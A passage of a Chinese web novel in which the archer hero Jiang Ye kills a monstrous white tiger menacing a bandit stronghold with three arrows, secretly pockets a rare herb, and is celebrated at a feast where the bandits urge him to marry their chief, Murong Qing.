它跑到慕容晴的脚边,将那根漂亮的羽毛小心翼翼地放下,然后抬起头,用一种极其谄媚的眼神看着慕容晴,身后那根短小的尾巴摇得像个拨浪鼓。
那小模样,仿佛在说:美人,你看,这是我送你的礼物,喜欢吗?
“噗嗤……”
慕容晴看着脚边这个献宝的小家伙,再也忍不住,直接笑了出来。
之前因为白虎而带来的阴霾和在江夜家过夜的尴尬,在这一笑中,烟消云散。
她笑得花枝乱颤,那爽朗明媚的笑声,像清晨的阳光,充满了感染力。
“咯咯咯……你这个小东西,真是个活宝!”
她弯腰将团子抱进怀里,爱不释手地揉着它那身顺滑的银**。
团子舒服地眯起了眼睛,将小脑袋在慕容晴那丰满的胸前蹭来蹭去,一脸的陶醉和满足。
白梦夏和白梦秋看着这一幕,也跟着笑了起来。
一时间,小小的土坯房里,充满了欢声笑语,温馨而和谐。
……
早饭过后,屋里温馨的气氛渐渐散去。
江夜站起身,从墙上取下那把造型古朴的神弓,准备和慕容晴一起进山了。
“夫君……”
白梦夏和白梦秋跟了过来,一左一右地站在他身边,漂亮的眸子里盛满了化不开的担忧。
江夜回过头,看着两个小脸上写满紧张的娇妻,眼神瞬间柔和下
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来。
他伸出手,在白梦夏的脸颊上轻轻抚过,然后又捏了捏白梦秋的小鼻子,俯身在两人光洁的额头上各印上一个吻。
“放心,在家等我,别乱跑。”
“嗯。”
姐妹俩乖巧地点头,虽然心中依旧不舍,却也知道自己不能成为夫君的拖累。
院门口,慕容晴已经等在那里。
她换回了那身火红的劲装,长发高高束起,整个人又恢复了那股英姿飒爽的劲儿,只是在看到江夜和两个妻子吻别时,眼神还是不自然地飘向了一旁,耳根微微有些发烫。
江夜冲她一点头:“走吧。”
“好。”
慕容晴应了一声,率先迈步。
两人一前一后走出院门,向村外走去。
刚走了没几步,身后就传来一阵急促又委屈的“呜呜”声。
两人回头一看,只见一道银色的小闪电从院子里窜了出来,正是小狼崽团子。
它四只小短腿跑得飞快,一溜烟冲到江夜脚边,寸步不离地跟着,喉咙里发出焦急的呜咽,生怕被丢下。
江夜停下脚步,低头看着这个小跟屁虫,有些好笑,又有些无奈。
“回去,看家。”
他开口命令道。
团子好像没听见,反而变本加厉,直接用自己毛茸茸的小脑袋,不停地蹭着江夜的裤腿,还仰起头,用那双蓝宝石一样纯净的大眼睛可怜巴巴地望着他,眼神里全是哀求。
那小模样,就差开口说话了:带上我吧,我很有用的!
江夜被它磨得没脾气,但这次进山非同小可,带着它实在不方便。
他板起脸,指了指院门的方向,加重了语气:“回去!”
团子的身体猛地一僵。
它看看江夜严肃的脸,又看看他毫不动摇指着院门的手,最后又把求助的目光投向旁边的慕容晴。
慕容晴被它这人性化的眼神逗得忍俊不禁,却也只是耸了耸肩,表示爱莫能助。
完了!
这个家里,竟然没有一个人肯为自己说句话!
巨大的委屈瞬间淹没了这只小狼崽。
它蹭着江夜裤腿的脑袋停下了,原本摇得像风车一样的短尾巴也耷拉了下去。
它委屈地后退两步,蹲坐在地上,毛茸茸的脑袋也跟着垂下,两只耳朵无精打采地耷拉着,活像一棵被霜打了的小白菜。
那幽怨的小眼神,仿佛在控诉江夜这个负心汉的无情抛弃。
“噗……”
慕容晴终于忍不住,笑出了声,“它好像快哭了。”
江夜也是一阵莞尔,摇了摇头,对这个小戏精彻底没了办法。
“别理它。”
他不再看团子,转身大步离去。
慕容晴笑着跟上,临走前还同情地看了那小家伙一眼。
团子眼睁睁看着两个人的背影越走越远,终于彻底绝望。它发出一声悲痛欲绝的“嗷呜”,然后把整个小脑袋都埋进了自己的前爪里,一动不动。
第47章 异虎现身
山路崎岖,林深叶茂。
江夜与慕容晴并肩而行,朝着凤啸寨的方向走去。
没了旁人,慕容晴那张英气逼人的俏脸上,又蒙上了一层愁云。
“那畜生,狡猾得根本不像一头野兽。”她秀眉紧蹙,声音里带着一丝挥之不去的凝重,“它不像寻常野兽,更像一个通晓人性的猎手,懂得利用地势,懂得伏击,甚至懂得什么时候该退。”
“陷阱对它无用,弓箭伤不了它分毫。寨子里的老人都说,那是山君显灵,通体雪白,是为大凶之兆。”
她语气中透着深深的无力感。身为一寨之主,手下弟兄的性命全系于她一身,可面对这种近乎鬼魅的凶兽,她所有的骄傲和武艺,都显得苍白可笑。
江夜手持长弓,步履从容。
他听着慕容晴的描述,眼神却微微发亮。
通体雪白,异种猛虎?
这可是好东西。
虎骨能泡酒,大补,虎皮能做褥子,铺在床上,睡着也暖和,虎鞭更是男人的至宝,寻常猛虎已是价值连城,这种异种,怕是更加珍贵。
这哪是什么凶兽,这分明是一座移动的宝库。
他心里盘算着,嘴角不自觉地勾起一抹弧度。
慕容晴见他一副心不在焉的模样,以为他不信,心里有些急。
“我没骗你,那畜生真的……”
她话还没说完,一声凄厉至极的惨叫,毫无征兆地撕裂了林间的静谧。
那声音充满了无尽的恐惧和绝望,仿佛被活生生撕开,在寂静的山林里回荡,让人头皮发麻。
紧接着,是野兽狂暴的咆哮,以及人群惊恐的呼喊。
两人脸色骤变。
“不好!”慕容晴惊呼,“是寨子里的巡山队!”
江夜眼神一凛。
两人对视一眼,脚下同时发力,身形化作两道残影,朝着声音传来的方向激射而去。
林木飞速在身侧**,不过几十个呼吸的工夫,前方豁然开朗。
眼前的一幕,让慕容晴目眦欲裂。
林中的一片空地上,五名身穿凤啸寨服饰的汉子,浑身是血,背靠着背被逼在一处绝壁死角,脸上写满了惊恐与绝望。
在他们面前,一头庞然大物正迈着优雅的猫步,缓缓踱步。
那是一头虎。
一头体型比寻常的吊睛白额虎还要大上一圈的巨虎!
它通体雪白,皮**在阳光下仿佛流动的白银,没有一丝一毫的杂色。唯独在它那宽阔的额头上,以及背脊两侧,生着几道诡异的暗金色纹路,让它平添了几分神圣与妖异。
它的一双兽瞳,并非寻常猛虎的琥珀色,而是冰冷的幽蓝色,此刻正闪烁着戏谑而残忍的光芒,仿佛在欣赏着猎物临死前的恐惧。
在它的脚边,一名凤啸寨的汉子倒在血泊中,一条手臂被齐肩撕裂,血肉模糊的伤口触目惊心,嘴里发出微弱的呻吟。
显然,刚才那声惨叫,正是他发出的。
“畜生!”
慕容晴美眸瞬间赤红,眼睁睁看着自己的弟兄惨遭毒手,一股狂怒的火焰从心底直冲天灵盖。
她娇叱一声,腰间的长刀“呛啷”出鞘,身形如一道火红的旋风,没有丝毫犹豫地冲入了战圈。
“寨主!别过来!快跑!”
幸存的汉子们看到慕容晴,非但没有喜悦,反而吓得魂飞魄散,嘶声大喊。
可慕容晴已经听不进去了。
长刀在空中划出一道匹练般的寒光,直取白虎的咽喉。
那白虎幽蓝的兽瞳中闪过一丝不屑,它甚至没有躲闪,只是随意地抬起一只前爪,对着那雪亮的刀锋轻轻一拍。
“铛!”
一声金铁交鸣的巨响。
慕容晴只觉得一股巨力从刀身传来,虎口瞬间被震裂,鲜血淋漓,长刀几乎脱手。
她整个人被这股蛮横的力量震得倒飞出去,在空中一个踉跄,才勉强稳住身形,俏脸上满是骇然。
好恐怖的力量!
这畜生的爪子,简直比精钢还要硬!
白虎一击逼退慕容晴,似乎觉得这个新来的猎物更有趣一些。
它不再理会那些已经吓破胆的喽啰,冰蓝色的兽瞳锁定了慕容晴,喉咙里发出低沉的咆哮,四肢微微下伏,摆出了攻击的姿态。
慕容晴银牙紧咬,双手紧握刀柄,全神贯注地与那头白虎对峙。
刀光与白影,在林间空地上再次交错。
慕容晴的刀法大开大合,凌厉非常,每一刀都朝着白虎的眼睛、咽喉等要害而去。
但那头白虎的身法实在太过诡异,快如鬼魅,时而正面突进,时而绕后偷袭,庞大的身躯在林间辗转腾挪,竟没有发出一丝多余的声响。
慕容晴的刀锋,往往只能削下几根雪白的虎**,却连它的皮都碰不到。
反倒是白虎那神出鬼没的利爪,好几次都险些抓破她的衣衫,在地上留下一道道深邃的爪痕。
数个回合下来,慕容晴的额角已经渗出了细密的汗珠,呼吸也开始变得急促。
她越打越是心惊。
这头畜生的力量、速度、乃至智慧,都远远超出了她对野兽的认知。
它根本不是在捕猎,而是在玩耍,在戏弄!
另一边,江夜并没有急着出手。
他站在一棵大树的枝干上,居高临下地看着场中的战斗,眼神平静无波。
他是在观察。
观察这头异种白虎的攻击模式、速度和弱点。
不得不说,慕容晴的刀法确实不
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错,换做寻常武夫,三五个也不是她的对手。
只可惜,她的对手,不是人。
“吼——!”
久战不下,那头白虎似乎终于失去了耐心。
它仰天发出一声震耳欲聋的咆哮,声浪滚滚,震得整个山林都仿佛在颤抖,树叶簌簌落下。
那几个幸存的汉子被这声虎啸震得耳膜刺痛,头晕眼花。
咆哮声中,白虎庞大的身躯人立而起,一道巨大的阴影瞬间笼罩了慕容晴。
它那蒲扇般大小的右爪,带着撕裂空气的恶风,朝着慕容晴当头拍下!
这一爪,快、准、狠!封**慕容晴所有的退路!
一股前所未有的危机感,瞬间笼罩了慕容晴的全身。
退无可退!
就在虎爪即将触及慕容晴头顶的瞬间,江夜动了。
抬弓,拉弦,松手,动作行云流水,一气呵成。
“咻!”
一声尖锐的破空声响起。
一支普通的木箭,却仿佛被赋予了生命,后发先至,划出一道肉眼几乎无法捕捉的黑线,精准无比地钉入了白虎那蓄满了万钧之力的后腿之上!
“嗷呜!”
白虎吃痛,那足以开碑裂石的巨爪在距离慕容晴发梢不足半寸的地方猛然一滞。整个庞大的身躯因为剧痛和失衡,踉跄了一下,发出一声震**吼。
凶戾的目光瞬间从慕容晴身上移开,死死锁定了树上那个云淡风轻的身影。
一股比之前浓烈十倍的恐怖杀意,如同实质的寒流,席卷而来!
它怒了!
它堂堂山中之王,竟然被一个蝼蚁用一根木棍弄伤了!
然而,不等它扑击,江夜已经再次拉开了弓弦。
这一次,弓弦被拉成了一个完美的满月。
第二支箭矢,快如一道黑色的闪电,在白虎转头的瞬间,便已离弦。
“噗嗤!”
箭矢撕裂空气,带着死亡的啸音,瞬间消失在白虎那幽蓝色的左眼之中!
“嗷——!”
白虎发出一声痛苦到极致的咆哮,那声音凄厉无比,再无半分王者的威严,只剩下纯粹的痛苦与疯狂。
它庞大的身躯疯狂地甩动着头颅,巨大的虎爪胡乱地撕挠着自己的脸,鲜血从眼眶中喷涌而出。
江夜神情没有丝毫变化,从容搭上第三支箭。
弓开。
弦响。
箭矢循着与上一箭几乎完全重合的轨迹,从那已经破碎的眼眶精准没入,直贯大脑!
“噗通!”
白虎那疯狂扭动的庞大身躯轰然倒地,四肢剧烈地抽搐了几下,那只完好的右眼,死死地瞪着江夜的方向,充满了不甘与难以置信。
最后,它庞大的身躯彻底僵住,再无声息。
第49章 意外之喜
林间的风,仿佛在这一刻停滞了。
时间,在白虎庞大的身躯轰然倒地的那一刻,被按下了暂停。
死寂。
除了那头巨虎尸身下,鲜血汩汩流淌,浸润泥土的微弱声响,整个世界再无一丝声音。
那几个幸存的凤啸寨汉子,背靠着冰冷的崖壁,一个个如同泥塑木雕。他们的眼珠子几乎要从眼眶里凸出来,死死地盯着那头已经没了声息的白色巨兽。
**?
那个把他们当成蝼蚁戏耍,一爪就能撕开兄弟胸膛的恐怖凶兽……就这么**?
他们的大脑一片空白,完全无法处理眼前这颠覆认知的一幕。
慕容晴站在原地,身姿依旧挺拔,但握着刀的手,却在不受控制地微微颤抖。虎爪落下时那股撕裂空气的恶风,仿佛还贴着她的头皮刮过。
死亡的阴影,前所未有地清晰。
可那阴影,却被一声轻描淡写的弓弦震响,彻底撕碎。
她缓缓转过头,顺着那几个手下骇然的目光,望向林边的树冠之上。
那里,一道身影临风而立。
江夜手持那把造型古朴的长弓,神情淡漠得仿佛刚才只是随手弹飞了一只恼人的飞虫。他缓缓放下手臂,弓身在他手中,仿佛只是最寻常不过的一段木头。
那份从容,那份淡然,与这片血腥弥漫的修罗场,形成了无比诡异的反差。
“咕咚。”
一名凤啸寨的汉子,喉结艰难地滚动了一下,发出清晰的吞咽声。
这声音,像一颗石子投入死寂的湖面,瞬间打破了凝固的气氛。
“活……我们活下来了?”另一个汉子声音发颤,一屁股瘫坐在地上,劫后余生的巨大冲击让他浑身脱力。
紧接着,所有幸存的汉子,目光齐刷刷地从白虎的尸体上,转移到了江夜身上。
那眼神,变了。
最开始是呆滞,是茫然。
随即,是难以置信的震撼。
最后,当他们将树上那个淡漠的身影,与地上那头恐怖的尸体联系在一起时,那份震撼,瞬间升华成了一种近乎癫狂的狂热与崇拜!
一箭定乾坤,三箭诛妖邪!
这不是神仙下凡,又是什么?
江夜从数米高的树干上纵身一跃,双脚落地,悄无声息,连一片落叶都未曾惊动。
他走向那头巨大的白虎。
“扑通!”
离江夜最近的那名汉子,扔掉了手里的朴刀,双膝一软,竟是朝着江夜的方向,重重地跪了下去。
他没有说话,只是用尽全身力气,将额头磕在地上,发出“咚”的一声闷响。
一个,两个……
剩下的几名汉子,仿佛被传染了一般,纷纷丢下兵器,学着同伴的模样,朝着江夜跪倒,以最虔诚的姿态,磕头叩拜。
“多谢神仙爷救命之恩!”
“神仙爷在上,受我等一拜!”
他们不知道该说什么,任何言语在刚才那神乎其技的三箭面前,都显得苍白无力。唯有这样最原始的叩拜,才能表达他们心中那份翻江倒海的敬畏与感激。
慕容晴看着自己的手下们,没有阻止。
因为此刻,她自己的内心,同样掀起了滔天巨浪。
她比任何人都清楚,这头白虎有多么恐怖。那比精钢还硬的爪牙,那快如鬼魅的身法,那近乎通人性的狡诈……
她拼尽全力,连对方的皮**都伤不到,甚至在最后一刻,连还手之力都没有。
可江夜呢?
他就那么随意地站在树上,只是轻描淡写地射出三箭。
干净,利落,精准到了毫厘,霸道得不讲任何道理。
这已经不是武功能够解释的范畴了。
这是碾压,是降维打击!
她想起两人初遇时,他也是这样,两箭射杀两头疯魔的野猪,救了自己。
她想起黑风寨那个夜晚,他一人一弓,杀穿整个山寨,将她和白家姐妹从**的深渊中拉了出来。
那时,她震惊于他的箭术和胆魄。
而今天,她才真正明白,自己看到的,或许只是冰山一角。
他的实力,极限又在哪里?
慕容晴忽然觉得脸颊有些发烫。她想起了自己第一次见他时,还调侃着让他入赘凤啸寨,给他个二当家。
现在想来,那是何等的可笑与无知。
她深吸一口气,压下心头的万千思绪,恢复了一寨之主的气度。
“都起来!像什么样子!”她低喝一声,声音却不自觉地带上了一丝颤音。
汉子们这才如梦初醒,纷纷爬起,但看向江夜的眼神,依旧充满了敬畏。
慕容晴走到江夜面前,收起长刀,对着他郑重地抱了抱拳。
“江夜,多谢。”她一字一句,说得无比认真,“这头畜生归你,从
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今往后,我凤啸寨上下,欠你一个天大的人情!但凡有所差遣,刀山火海,在所不辞!”
江夜看了她一眼,淡淡地点了点头。
“嗯。”
也就在他点头的瞬间,一道冰冷的机械音在他脑海中响起。
【叮!发现天材地宝:龙髓草*1!】
【龙髓草:百年一长,生于极阳或极阴之地,常伴异兽而生。可极大增强体魄,洗髓伐经,固本培元!】
江夜心中猛地一跳,一股狂喜瞬间冲上头顶。
龙髓草!
竟然是这种只在传说中听过的东西!
他现在的体力已经是常人的三倍,若是服下这龙髓草,又会达到何等恐怖的境地?
狂喜之下,他的脸上却依旧是那副古井无波的淡然模样。
他缓步走向那头巨大的虎尸,目光在虎尸周围看似随意地扫过。
很快,他的视线定格在虎头旁的一处草丛中。
那里,有一株毫不起眼的植物。
它通体暗绿,叶片细长,形态与周围的杂草几乎融为一体,若不仔细看,根本无从发现。
就是它!
此刻,慕容晴正转身指挥着手下,将受伤的弟兄抬到安全地带,又派人回去报信,准备处理后事,根本无暇他顾。
江夜走到虎尸旁,脚尖踢了踢巨大的虎头。
“这皮子不错,回头剥下来,正好给我家娘子们做几件冬衣,天冷了,铺在床上也暖和。”
几个凤啸寨的汉子闻言,嘴角齐齐一抽。
神仙爷,那可是妖虎啊!也就您,能说出这种话来!
江夜假意拨弄着那支贯脑而入的箭矢,身体恰好挡住了所有人的视线。
他蹲下的瞬间,另一只手快如闪电,精准地探入草丛,捏住龙髓草的根茎,暗劲一发。
“啵”的一声轻响,龙髓草被连着一小截根须完整拔起。
江夜看也不看,反手就将其塞进了自己宽大的衣怀之中。
整个过程行云流水,不过一眨眼的工夫。
做完这一切,他才站起身,拍了拍手。
“虎骨粗壮,皮子也好,是块好料子。”他点评道。
慕容晴此时也走了过来,听到他的话,脸上露出一丝苦笑。
这么一头让整个凤啸寨束手无策的妖虎,在他嘴里,竟只是一块“好料子”。
人和人的差距,当真比人和狗还大。
第49章 神仙下凡
凤啸寨,聚义厅。
气氛压抑得让人喘不过气。
赵义山坐在副手的位置上,一张饱经风霜的国字脸绷得铁紧,粗糙的大手一下又一下地摩挲着腰间的刀柄。
自从山中出现异虎,整个寨子都人心惶惶。
寨主说要亲自下山,请江夜来协助寨子除虎,至今未归。
虽然他亲眼见过江夜的本事,可这次要对付的,不是黑风寨那帮废物,而是食人无数的妖虎!
那可是连寨子里最老道的猎人,提起来都两腿发软的存在。
他心里七上八下,总觉得有不好的事情要发生。
“报——!”
一声凄厉的嘶吼从厅外传来,紧接着,一名负责在外围警戒的探子连滚带爬地冲了进来。
那汉子浑身泥土,脸上没有半点血色,一进大厅就“扑通”一声瘫倒在地,指着山下的方向,嘴唇哆嗦着,半天说不出一句完整的话。
“慌什么!天塌下来了?”赵义山猛地站起,一声暴喝如平地惊雷。
那探子被他一吼,总算找回了点魂儿,带着哭腔嘶声道:“赵……赵爷!不好了!山……山里……是巡山队……我听到了惨叫……还有那头白虎的咆哮声!”
“什么?!”
赵义山只觉得一股血气直冲脑门,眼前阵阵发黑。
巡山队!那里面可都是寨子里最精锐的弟兄!
“咣当!”
他身前的硬木方桌,被他暴怒之下的一掌,拍得四分五裂,木屑横飞。
“天杀的畜生!”赵义山双目赤红,一把抽出腰间的朴刀,对着大厅里同样脸色煞白的众人怒吼,“都**还愣着干什么!抄家伙!跟我去救人!”
大厅里众人你看我,我看你,脸上都写满了恐惧。
那可是妖虎啊!是山神老爷发怒了!他们这些人冲上去,跟送死有什么区别?
可看到赵义山那副要**的模样,再想到独自面对白虎的弟兄们,一股血勇之气终究还是压过了恐惧。
“妈的!跟赵爷干了!”
“死就死!十八年后又是一条好汉!”
“去**妖虎,老子今天就看看它到底长了几颗脑袋!”
一时间,群情激奋,寨中数十名汉子纷纷抄起兵器,脸上带着悲壮的神情,准备跟着赵义山去拼命。
整个凤啸寨都被一片愁云惨雾笼罩,所有人都知道,这一去,恐怕是九死一生。
赵义山提着刀,一马当先,正要冲出聚义厅。
就在此时,山寨大门的方向,突然传来一阵骚动,紧接着,是几声不敢置信的欢呼。
那欢呼声由小及大,由远及近,最后竟汇成了一股声浪。
正准备慷慨赴死的众人全都愣住了。
赵义山脚步一顿,满脸错愕。
怎么回事?
难道是那妖虎杀进寨子里来了?可这欢呼声……
他来不及多想,一颗心瞬间提到了嗓子眼,也顾不上身后的人,提着刀朝着山寨大门狂奔而去。
他拨开层层叠叠的人群,挤到最前面。
当他冲出人群,看清门口景象的瞬间,整个人当场石化。
山寨门口,夕阳的余晖将两道身影拉得长长的。
走在前面的,正是他心心念念的寨主,慕容晴。
她虽然脸色还有些苍白,但那双总是带着英气的美眸里,此刻盛满了连她自己都未曾察觉的异样光彩,正一瞬不瞬地看着身旁的男人。
而在她身边,与她并肩而行的,是江夜。
他依旧是那副云淡风轻的模样,仿佛只是出门散了个步,手里那把古朴的长弓随意地拎着。
在他们身后,跟着那几个幸存的巡山队员。
他们一个个神情激动,脸上挂着鼻涕眼泪,却又咧着嘴笑,那表情又是哭又是笑,看起来古怪至极。
而他们中间,正合力抬着一个……一个巨大无比的……
虎尸!
赵义山死死地盯着那具虎尸,眼珠子瞪得比铜铃还大。
那是一头通体雪白,体型大得像一头牛犊的巨虎!
它宽阔的额头上,那诡异的暗金色王字纹路在夕阳下依旧清晰可见,只是左边的眼眶,已经变成一个血肉模糊的窟窿,一支普通的木箭尾羽,还插在里面,微微颤动。
那股让整个凤啸寨闻风丧胆的凶戾之气,已经彻底消散,只剩下属于尸体的冰冷与死寂。
真的是它!
就是那头传说中的妖虎!
赵义山的大脑“嗡”的一声,瞬间一片空白。
他看看那头死透了的白虎,又看看那几个哭得跟傻子一样的巡山队员,最后,目光死死地落在了那个神情淡漠、仿佛什么都没发生的江夜身上。
整个凤啸寨,在这一刻陷入了绝对的死寂。
所有闻讯赶来的山匪,所有人的目光,都聚焦在那具庞大得超乎想象的虎尸之上。
针落可闻。
每个人都张大了嘴巴,喉咙里像是被塞了一团棉花,发不出任何声音。
下一秒。
“嗷——!!!”
山呼海啸般的欢呼声,毫无征兆地爆发了!
那声音,比之前任何一次打了胜仗都要响亮,都要狂热!
“**!妖虎**!”
“我们得救了!我们
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得救了!”
无数人扔掉了手里的兵器,激动地拥抱在一起,又蹦又跳,许多人更是喜极而泣,哭得一把鼻涕一把泪。
那几个抬着虎尸的巡山队员,被这狂热的气氛一感染,再也撑不住,双腿一软,将虎尸“砰”的一声扔在地上,然后指着江夜,用尽全身力气嘶吼道:“不是寨主!是这位爷!是这位神仙爷!”
“三箭!就三箭啊!”一个汉子激动得满脸通红,手舞足蹈地比划着,“那妖虎站起来比房子还高!一爪子下来,碗口粗的树都得断!可神仙爷就站在上,‘咻’、‘咻’、‘咻’三箭!那畜生就倒了!”
“是江爷!是江爷杀了妖虎!神仙下凡!神仙下凡啊!”
幸存的巡山队员们,劫后余生的狂喜让他们再也抑制不住内心的激动,嘶吼着,宣泄着。
整个凤啸寨都疯了!
人们从四面八方涌来,将练武场围得水泄不通。他们看着神色淡然的江夜,又看着那具巨大的虎尸,眼神里充满了狂热、崇拜。
几个胆大的汉子,小心翼翼地凑上前,伸出颤抖的手,摸了摸那雪白的虎皮,又飞快地缩了回来,仿佛摸到了什么圣物一般,激动得满脸通红。
赵义山站在人群的最前面,他像一尊石雕,一动不动。
他的目光,死死地锁定在江夜的身上。
那个年轻人,依旧是一副云淡风轻的模样,仿佛只是做了一件微不足道的小事。他甚至还有闲心,拍了拍慕容晴的肩膀,指着虎尸,似乎在跟她讨论着这虎皮的成色。
赵义山的大脑一片空白,嗡嗡作响。
怎么可能……
这怎么可能?
他想起了自己刚才在聚义厅里那副准备慷慨赴死的悲壮模样,再看看眼前这超现实的场景,一张老脸只觉得火辣辣的。
他活了大半辈子,自问见多识广,什么场面没见过?可今天这一幕,彻底颠覆了他几十年来建立的世界观。
慕容晴看着赵义山那一脸活见鬼的表情,嘴角忍不住勾起一抹笑意,她走到赵义山面前,拍了拍他的肩膀。
“赵叔,发什么呆呢?”
赵义山身体一震,这才回过神来,他看着慕容晴,张了张嘴,却一个字也说不出来。
最终,他只是重重地吐出两个字。
“回来……就好。”
说完,他转过身,目光再次投向那个被人群簇拥,却依旧淡然自若的年轻人。
那眼神,无比复杂。
有震撼,有不敢置信,但更多的,是一种发自内心的敬畏。
这个年轻人,究竟是何方神圣?
第50章 酒不醉人,人自醉
凤啸寨,聚义厅。
压抑了数日的愁云惨雾,被冲天的篝火和鼎沸的人声彻底撕碎。
整个山寨,都陷入了一种劫后余生的狂欢。
那头将死亡阴影投射在每个人头顶的白色妖虎,此刻正被几个最壮硕的汉子用滚木抬着,横陈在练武场的中央。它那庞大的尸身,不再是恐惧的源头,而成了一座象征着胜利与安全的丰碑。
聚义厅内,长桌一字排开,上面摆满了寨子里能拿出的最好的酒。
江夜被众人簇拥着,推上了主位。
慕容晴就坐在他身侧,一张俏脸在火光映照下,红扑扑的,也不知道是烤的,还是喝了酒,又或兼而有之。
赵义山站在下方,看着这一幕,心中五味杂陈。他端起一碗酒,大步走到江夜面前,没有多余的话,只是将碗口一亮,仰头便灌了下去。
“江爷!我赵义山这辈子没服过几个人,您,算一个!大恩不言谢,这碗酒,我敬您!”
江夜淡然一笑,也端起酒碗,一饮而尽。
气氛,就在这一碗酒中,彻底点燃。
“江爷威武!”
“敬江爷!”
山匪们骨子里就崇拜强者,江夜那神乎其技的三箭,已经彻底征服了他们。一时间,敬酒声此起彼伏。
江夜放下酒碗,目光扫过那头巨大的虎尸,又看了看周围一张张激动到涨红的脸,他伸出手,往下压了压。
喧闹的大厅,瞬间安静下来。
所有人的目光,都聚焦在他身上,带着狂热的崇拜。
“这虎肉太多,我一个人也吃不完,留下一半,剩下的分给寨子里的兄弟们吧,今天都受了惊吓,正好补补身子。”
话音落下,全场死寂。
所有人都愣住了。
分一半?
这可是妖虎!浑身上下都是宝!这等神物,别说一半,就是能分到一根**,都够吹一辈子的了。江爷他……竟然要分一半给他们?
就连慕容晴都猛地转头,美眸中满是错愕。她张了张嘴,想说什么,却**夜一个淡然的眼神制止了。
死寂只持续了短短一瞬。
下一秒。
“嗷——!!!”
比之前任何一次都更加狂暴的欢呼声,如同山洪暴发,几乎要将聚义厅的屋顶掀翻!
“江爷仁义!”
“我**没听错吧?江爷说分我们一半!”
“呜呜呜……这辈子值了!”
一个满脸络腮胡的壮汉,激动得竟当场哭了出来,鼻涕眼泪抹了一脸。
慕容晴看着江夜,心中更是涌起一股暖流。这个男人,不仅强大得如同天神,心胸更是如此开阔。
她重重点头,朗声道:“听江爷的!来人,分肉!今晚,我凤啸寨所有兄弟,人人有份!”
“嗷——!”
又是一阵震天的欢呼。
很快,山寨里刀法最好的几个汉子,在众人的围观下,开始小心翼翼地剥皮拆骨。
一口口大锅架在火上,里面翻滚着雪白的虎肉汤,浓郁的香气霸道地钻入每个人的鼻腔。而更多的虎肉,被切成大块,用铁钎穿着,在篝火上烤得滋滋作响,金黄的油脂滴落在火焰中,爆开一团团绚烂的火星,肉香更是浓烈得让人几欲疯狂。
整个凤啸寨,都沉浸在这股霸道的肉香之中。
“开吃!”
随着赵义山一声令下,早已按捺不住的汉子们发出一阵狼嚎,冲向篝火。
他们大块吃肉,大碗喝酒,一个个吃得满嘴流油,烫得龇牙咧嘴,却又舍不得停下。
“香!真**香啊!”
“老子这辈子就没吃过这么好吃的肉!”
一个头发花白,走路总是一瘸一拐的老汉,是寨子里的老人,负责看管粮仓。他也分到了一块拳头大的虎肉,珍惜地小口小口吃着。
刚吃下半块,他忽然觉得一股从未有过的暖流,从胃里升起,瞬间涌向四肢百骸。
那股暖流所过之处,浑身都暖洋洋的,说不出的舒服。
尤其是他那条受了旧伤,每逢阴雨天就疼得钻心的老寒腿,此刻竟像是被温水浸泡着,酸麻发痒。
“咦?”
老汉愣住了,他下意识地活动了一下那条伤腿。
不疼?
一点都不疼了!
他不敢相信,猛地从地上站了起来,原地蹦了两下。
落地稳稳当当,膝盖非但没有传来熟悉的刺痛,反而充满了**性的力量感。
“我的腿……我的腿好了!”
老汉瞪大了眼睛,看着自己的双腿,脸上写满了颠覆认知的震撼与狂喜。他像个孩子一样,在原地又蹦又跳,最后竟激动得老泪纵横。
“神肉!这是神肉啊!”
他的惊呼,立刻吸引了周围人的注意。
紧接着,此起彼伏的惊呼声在人群中不断响起。
“我的天!我感觉浑身都是劲儿!好像能一拳打死一头牛!”一个精瘦的汉子,看着自己并不算粗壮的胳膊,满脸骇然。
“我也是!多年的暗伤好像都好了!”
所有吃下虎肉的汉子,都感受到了身体上翻天覆地的变化。他们一个个扔下酒碗,感受着体内那股汹涌澎湃的力量,精神前所未有的亢奋。
这一刻,所有人,
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不约而同地,将目光投向了坐在主位上,正与慕容晴低声交谈的江夜。
一个魁梧的汉子,端着满满一大碗酒,分开人群,大步走到江夜面前,“扑通”一声,单膝跪地,将酒碗高高举过头顶。
“江爷!以前是我有眼不识泰山!您就是天上下凡的活神仙!我嘴笨,不会说话,这碗酒,**了!以后您但凡有句话,我刘大柱要是皱一下眉头,就不是娘养的!”
说完,他仰头将一碗烈酒灌进喉咙,喝完后把碗往地上一摔,磕了个响头,才红着眼眶退下。
他的举动,像是一个信号。
一波又一波的汉子,端着酒碗,轮番上前。
他们没有华丽的辞藻,说出的话质朴又直接,却充满了发自肺腑的感激。
“江爷,这杯我敬您!您就是我们凤啸寨的活菩萨!”
“江爷!您就是我亲爹!不,比亲爹还亲!我也干了!”
江夜来者不拒,谈笑风生,无论是谁来敬酒,他都一饮而尽,那份从容与豪迈,众人愈发敬服。
酒过三巡,气氛也愈发热烈。
一个喝得满脸通红的汉子,端着酒凑过来,嘿嘿笑道:“江爷,您看我们寨主怎么样?人美,身手好,这方圆百里,那都是头一份的俊!”
“哈哈哈!”
人群爆发出一阵善意的哄笑。
另一个汉子立刻接茬:“就是!江爷您这么大本事,我们寨主又是女中豪杰,简直是天造地设的一对啊!”
“江爷,您要是当了咱们的姑爷,那咱们凤啸寨,可就真有靠山了!”
“姑爷!姑爷!姑爷!”
不知道是谁带头喊了一声,紧接着,整个练武场,上百名汉子齐声呐喊,声浪震天。
“姑爷!姑爷!”
慕容晴坐在江夜身边,一张俏脸早已红得能滴出血来。她想板起脸呵斥几句,可看着手下们那一张张真诚又带着几分戏谑的脸,却怎么也发不出火来。
她只能端起酒碗,假装喝酒,来掩饰自己的窘迫,可那双水光潋滟的美眸,却忍不住偷偷地,一遍又一遍地,瞟向身旁的男人。
火光下,他的侧脸轮廓分明,嘴角挂着一丝若有若无的笑意,面对着上百名汉子的起哄,他没有丝毫的局促,那份淡定自若的气度,仿佛天塌下来,他也能一肩扛之。
慕容晴的心,跳得越来越快。
她知道,自己完了。
从他三箭射杀妖虎的那一刻起,这个男人,就已经在她心里,射下了一道再也无法磨灭的烙印。
美眸,渐渐变得迷离。
酒不醉人,人自醉。
第51章 我扶你去休息
酒过三巡,凤啸寨的狂欢,已经进入了高潮。
篝火烧得更旺了,映得每个人的脸都红光满面。汉子们勾肩搭背,扯着嗓子唱着跑调的山歌,更多的人则是围着江夜,一碗接一碗地灌着酒。
江夜脸上带着几分醉意,眼神却依旧清明。
以他被系统强化过的体质,这点土酿的烈酒,跟喝水没多大区别。
但他喜欢这种氛围。
豪迈,直接,充满了生命力。
“姑爷!再喝一碗!”
“对!姑爷海量!干了!”
